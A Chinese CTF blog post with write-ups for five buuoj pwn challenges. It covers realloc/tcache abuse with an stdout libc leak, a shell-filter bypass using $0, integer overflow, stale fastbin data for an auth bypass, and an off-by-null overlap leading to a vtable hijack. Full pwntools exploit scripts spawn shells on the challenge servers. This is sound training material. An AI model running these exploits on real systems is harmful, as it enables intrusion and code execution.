buuoj Pwn writeup 116-120

116 roarctf_2019_realloc_magic

保护
在这里插入图片描述在这里插入图片描述
看这样就知道是在用realloc搞事情。

realloc
在这里插入图片描述
free
在这里插入图片描述

最后有个666的东西。
在这里插入图片描述
先来看一看realloc的几种用法

size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

首先我们要研究一下,说当size是0得时候,就相当于free,那它跟一般得free有没有点什么区别?通过relloc来free得时候返回值是啥?

这个是用realloc来free得时候,你可以看得到,返回值是0, 而且会把chunk挂到tcache中。
在这里插入图片描述当我们relloc (0)之后再次relloc,因为指针是0,所以会重新申请chunk,就会有两个chunk。但是如果我们没有通过realloc来free,就导致那个指针那里是有值的,你再次realloc的时候就会把你之前的chunk直接释放掉,回到top chunk中,而不会去bins。

在这里插入图片描述
free的话就是直接进bins。
在这里插入图片描述但是这个题里面我们我们很多地方用的是realloc来free,而不直接用free,为啥?因为这个里面的free没有清理指针。

在这里插入图片描述
后果就是free之后再次realloc就会导致,tcache里面有这个chunk,但是其实已经被新的chunk替代掉了。这个地方其实我们仔细想想的话也会有很多利用方式,因为毕竟假如我们再次把tcache里面的chunk申请回来,就会出问题。
在这里插入图片描述
我们的思路

1、首先我们需要分配三个chunk0,1,2,申请大小分别为0x70,0x100,0xa0,这里只要realloc之后又realloc(0)就行(如果没有realloc(0)就接着realloc下一个chunk就会发生我们上面讨论的那种情况,之前的那个chunk直接被top chunk合并,然后重新分配,也不会进tcache)。我们这里想制造的是三个挂进tcache而且存在的chunk,所以就也不用free。

2、realloc(0x100)把chunk1申请出来,然后删除7次填满tcache,再进行一次删除就进入unsorted bin,这样main_arena+0x60就留在了fd处

3、realloc(0x70)把chunk0申请出来,然后realloc(0x180),这样会把chunk0和chunk1合并分配给你,然后把chunk1的size改为0x41,fd的最低两个字节填充为0x?760(即_IO_2_1_stdout_的地址),这里需要爆破一位。

3.修改内存为p64(0xfbad1887)+p64(0)*3+p8(0x58),这里0xfbad1887是flag位我们不用管原样填上,然后把_IO_read_xxx的部分用0填充,并把_IO_write_base的最低一个byte置为0x58,这样他就指向了_IO_2_1_stderr_+216,其中存储着 _IO_file_jumps的地址,根据它我们就能计算出libc地址。当程序再次调用puts时,就会泄露libc上的地址。

4.将chunk分配到free_hook处,改free_hook为system地址,同时给上"/bin/sh",再次调用free函数即可拿shell。

exp

from pwn import *

elf = ELF("./116")
libc = ELF('./64/libc-2.27.so')

def realloc(size, content):
	r.recvuntil(">> ")
	r.sendline('1')
	r.recvuntil("Size?\n")
	r.sendline(str(size))
	r.recvuntil("Content?\n")
	r.send(content)

def delete():
	r.recvuntil(">> ")
	r.sendline('2')

def back():
	r.recvuntil(">> ")
	r.sendline('666')

def pwn():
    realloc(0x70,'a')
    realloc(0,'')
    realloc(0x100,'b')
    realloc(0,'')
    realloc(0xa0,'c')
    realloc(0,'')

    realloc(0x100,'b')
    [delete() for i in range(7)] #fill tcache

#循环的这种写法很实用

    realloc(0,'') 
    realloc(0x70,'a')
    realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))#overlap

    realloc(0,'')
    realloc(0x100,'a')
    realloc(0,'')
    realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))
    
    #get_libc
    libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3e82a0 
    if libc_base == -0x3e82a0:
        exit(-1)
    print(hex(libc_base))
    free_hook=libc_base+libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    one_gadget=libc_base + 0x4f322

    r.sendline('666')
#这个666就是给我们一个重新开始的机会

    realloc(0x120,'a')
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x170,'a')
    realloc(0,'')

    realloc(0x130,'a')
    [delete() for i in range(7)]
    realloc(0,'')

    realloc(0x120,'a')
    realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x130,'/bin/sh\x00'+p64(system))
    delete()

    r.interactive()

while True:
    r = remote("node3.buuoj.cn", 26632)
    try:
        pwn()
    except:
        r.close()
    
#爆破的这种写法也很实用

117 [BJDCTF 2nd]rci

保护

在这里插入图片描述
在这里插入图片描述这程序看着奇奇怪怪。
先看一下里面奇奇怪怪的函数。

getcwd
函数原型:char *getcwd( char *buffer, int maxlen );
功 能:获取当前工作目录
参数说明:getcwd()会将当前工作目录的绝对路径复制到参数buffer所指的内存空间中,参数maxlen为buffer的空间大小。
返 回 值:成功则返回当前工作目录,失败返回 FALSE。

usleep()函数是把调用该函数的线程挂起一段时间 ,单位是微秒(百万分之一秒)

下面那个read_n就啥也不是了
它是自己写的一个函数。

在这里插入图片描述程序里面能看的出来的比较明显的是首先我们需要输入一个目录,然后这个目录跟前面随机生成的一个目录进行比较,一样就可以绕过第一个检查

第二个保护我们不能用sh cat啥的,就$0来绕过。

那么我们看一下具体操作。
首先是我们需要找到那个随机文件的目录。

我们先用 ls -ali 命令查到所有的目录。

-a 显示所有文件及目录 (. 开头的隐藏文件也会列出)
-l 除文件名称外,亦将文件型态、权限、拥有者、文件大小等资讯详细列出
-i 会列出inode号

那什么是个inode号……

可以简单的说是储存文件元信息的区域就叫做inode,中文译名为"索引节点"
inode
可以参考它

在这里插入图片描述

这个时候呢服务器已经生成好了文件,此时我们再打开一个shell,不是重新打开,是同时再打开一个

但是我们进去之后输入的是 ls -ali /tmp
这个/tmp是干嘛的

linux下的tmp目录是一个系统产生临时文件的存放目录,同时每个用户都可以对他进行读写操作

所以我们可以在这个/tmp下面找到inode,来找到我们刚刚创建的文件,显示具体文件名
所以我们就知道了它的文件名。

在这里插入图片描述
然后进入第二步,我们需要绕过第二个检查,输入$0

118 wustctf2020_number_game

保护
在这里插入图片描述在这里插入图片描述程序就是这么的短小精悍。

程序还是很有意思的,就是输入一个数字,然后这个数字不能大于等于0,它的相反数不能大于等于0.

感觉智商多少收到了点碾压。

这里用到的是整数溢出。
就是说四个字节的有符号整数最大的时候是2147483648,那么我们如果输入–2147483649,或者-2147483650啥的,首先它就是负的,加一个负号之后,变成正的2147483649,但是明显超过了最大整数,就会造成整数溢出,然后还是负的,就绕过了判断。

在这里插入图片描述

119 picoctf_2018_are you root

保护
在这里插入图片描述
进来之后呢首先是
在这里插入图片描述IDA里面不大好看,所以我们就直接跑程序。

翻译一下。

在这里插入图片描述你看这个逻辑,我们打印flag,就需要等级5,但是我们设置等级,根本设置不了5,所以逻辑上我们是拿不到flag的。

那我们现在进去分析程序。

show
在这里插入图片描述名字在v6,等级是v6 + 2

login
在这里插入图片描述先来看看strtok函数是个啥。

分解字符串为一组字符串。s为要分解的字符串,delim为分隔符字符串。
例如:strtok(“abc,def,ghi”,","),最后可以分割成为abc def ghi.尤其在点分十进制的IP中提取应用较多。
strtok的函数原型为char *strtok(char *s, char *delim),功能为“Parse S into tokens separated by characters in DELIM.If S is NULL, the saved pointer in SAVE_PTR is used as the next starting point. ” 翻译成汉语就是:作用于字符串s,以包含在delim中的字符为分界符,将s切分成一个个子串;如果,s为空值NULL,则函数保存的指针SAVE_PTR在下一次调用中将作为起始位置。

strdup()函数是c语言中常用的一种字符串拷贝库函数,一般和free()函数成对出现。
strdup()在内部调用了malloc()为变量分配内存,不需要使用返回的字符串时,需要用free()释放相应的内存空间,否则会造成内存泄漏。该函数的返回值是返回一个指针,指向为复制字符串分配的空间;如果分配空间失败,则返回NULL值。

这块就是说首先申请了一个0x10大小的chunk,上面存放指针,下面存放等级。

然后strdup函数内部会malloc一个与字符串长度一样的堆,并把字符串拷贝进去。

Login时,会malloc一个堆,大小为0x10,并且偏移8处就是auth的验证码。但是login时,并没有初始化*(v7+8)处的值,使得它的值是前面的操作影响。而strdup函数,内部会malloc一个与字符串长度一样的堆,并把字符串拷贝进去。

在这里插入图片描述这个就是把v6 + 2那个地方的值改变掉。

平平无奇get flag
在这里插入图片描述
会把是strdup的那个chunk释放掉。
在这里插入图片描述
那么我们利用的一个方式是什么,是利用fastbin大小的chunk在释放的时候挂入链,但是数据不会被擦掉
在这里插入图片描述
所以假如我们去利用login先申请一个chunk,里面偏移为8的地方写5,释放了申请回来就会被login申请到,偏移加8的地方还是5,就会直接绕过检查。

exp

from pwn import *
 
r = remote('node3.buuoj.cn',29466)
 
def login(name):
   r.sendlineafter('>','login ' + name)
 
def reset():
   r.sendlineafter('>','reset')
 
def getFlag():
   r.sendlineafter('>','get-flag')

login('a'*0x8 + p64(0x5))
reset()
login('111')
getFlag()

r.interactive()

120 [GKCTF2020]Domo

保护

在这里插入图片描述
add

在这里插入图片描述首先我们要读懂它这里面啥SHIDWORD、HIDWORD。

#define SHIDWORD(x) (((int32)&(x)+1))
#define HIDWORD(x) (((_DWORD)&(x)+1))

在这里插入图片描述看得出来,size那里占的是八个字节,但是前四个字节是size,后四个字节是序号。我们可以用gdb验证一下。

在这里插入图片描述
rsp这里就是size,因为是小端序,后面的0x14是小地址,是我们输入的大小,前面的1是大地址,也就是汇编代码里面看到的+4,就是1,是我们的序号。

然后我们注意到里面有个off by null。
正常思路,我们就通过off by null去制造overlapping,然后释放地址,做一个unlink,然后泄露信息,劫持got表。但是问题来了……我们不能写,这就导致我们常规思路有问题。

delete

在这里插入图片描述
他让我们不能攻击malloc_hook和free_hook

在这里插入图片描述平平无奇。

show
在这里插入图片描述puts里的东西统统输出。

在这里插入图片描述这里还有个奇怪的函数,这个函数只能用一次。

那么我们开始研究整个的利用思路。
整道题来讲我们还是去利用off by null 制造overlapping,造成fastbin bin attack,劫持vtable,来getshell。

首先我们需要泄露libc的地址,这是做题的关键嘛,我们只要申请一个unsorted bin,释放掉再申请回来就好了。

然后我们要通过off by null制造overlapping,首先申请四个chunk,第一个伪造,第二个被overlap,第三个用来free,第四个用来防止与topchunk合并。在我们伪造chunk的时候需要伪造fd bk的指针,因为一会会unlink,我们需要绕过unlink的检查。伪造这两个指针我们平常会有两种方法,第一种呢是以前的unlink attack直接去劫持bss段,但是这里显然是不能的,因为chunk是我们伪造的。bss上的指针没有对应的chunk,所以我们只能采用第二种利用堆地址。

以heap为例,在heap的那个chunk中这样写
p64(0)+p64(0xb1)+p64(heap+0x18)+p64(heap+0x20)+p64(heap+0x10)

overlap后,由于malloc_hook和free_hook不能修改,但由于_IO_2_1_stdin_指向的是一个_IO_FILE_plus结构体,所以我们需要找到他的vtable,并且修改其值为我们的fake vtable,这里构造fake vtable只是把_IO_file_overflow函数改成我们的one_gadget就行,因为libc只不过是2.23.

由于我们overlap了,我们可以释放掉先前分配出来的第二个chunk,然后修改其fd指针为我们_IO_2_1_stdin_所指的结构体里面,在这里,可以分配到160-3的位置(有个0x7f),然后根据偏移修改vtable指针,64位的是0xd8

然后修改vtable为我们之前伪造好的就可以了,程序会在最后fflush所有文件,从而调用_IO_overflow函数,来让我们拿到shell。

# -*- coding: utf-8 -*-
from pwn import *

r=process('./domo')
#r=remote('node3.buuoj.cn',29564)

context.log_level = "debug"

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
#libc=ELF('./64/libc-2.23.so')

def add(size,content):
    r.sendlineafter('> ','1')
    r.sendlineafter('size:',str(size))
    r.sendlineafter('content:',content)

def delete(index):
    r.sendlineafter('> ','2')
    r.sendlineafter('index:',str(index))

def show(index):
    r.sendlineafter('> ','3')
    r.sendlineafter('index:\n',str(index))
    return r.recv(6)

def edit(addr,num):
    r.sendlineafter('> ','4')
    r.sendlineafter('addr:',str(addr))
    r.sendlineafter('num:',num)

#gdb.attach(r)

#先来把我们一直到overlap所需要的四个chunk都申请出来.
add(0x40,p64(0)+p64(0xb0))#0
add(0x60,'')#1
add(0xf0,'pppp')#2
add(0x10,'')#3

#leak libc
delete(2)
add(0xf0,'')#2
main_arena_xx = u64(show(2).ljust(8,b'\x00'))
malloc_hook = ((main_arena_xx & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff))
libc_base = malloc_hook - libc.sym['__malloc_hook']
print "libc_base: " + hex(libc_base)


#leak heap
add(0x10,'')#4
delete(3)
delete(4)
add(0x10,'')#3
heap=u64(show(3).ljust(8,b'\x00'))-0xa-0xf0
print('heap:'+hex(heap))

#overlap
delete(0)
add(0x40,p64(0)+p64(0xb1)+p64(heap+0x18)+p64(heap+0x20)+p64(heap+0x10))#0
#这里在对unlink进行一个绕过。

delete(1)
add(0x68,b'\x00'*0x60+p64(0xb0))#1
delete(2)
#hook vtable
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc_base + libc.sym['_IO_2_1_stdin_']
fake_chunk = _IO_2_1_stdin_ + 160 - 0x3
fake_vtable = heap + 0x210
one_gadgets = 0xf02a4

add(0xc0,'')#2
add(0x60,'')#4

delete(4)
delete(1)
delete(2)

add(0xc0,b'p'*0x38+p64(0x71)+p64(fake_chunk))#1
add(0xa8,p64(0)+p64(0)+p64(libc_base+ one_gadgets)*19)
add(0x60,'')#2
add(0x63,b'\x00'*3+p64(0)+p64(0)+p64(0xffffffff)+p64(0)+p64(0)+p64(fake_vtable)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0))


r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值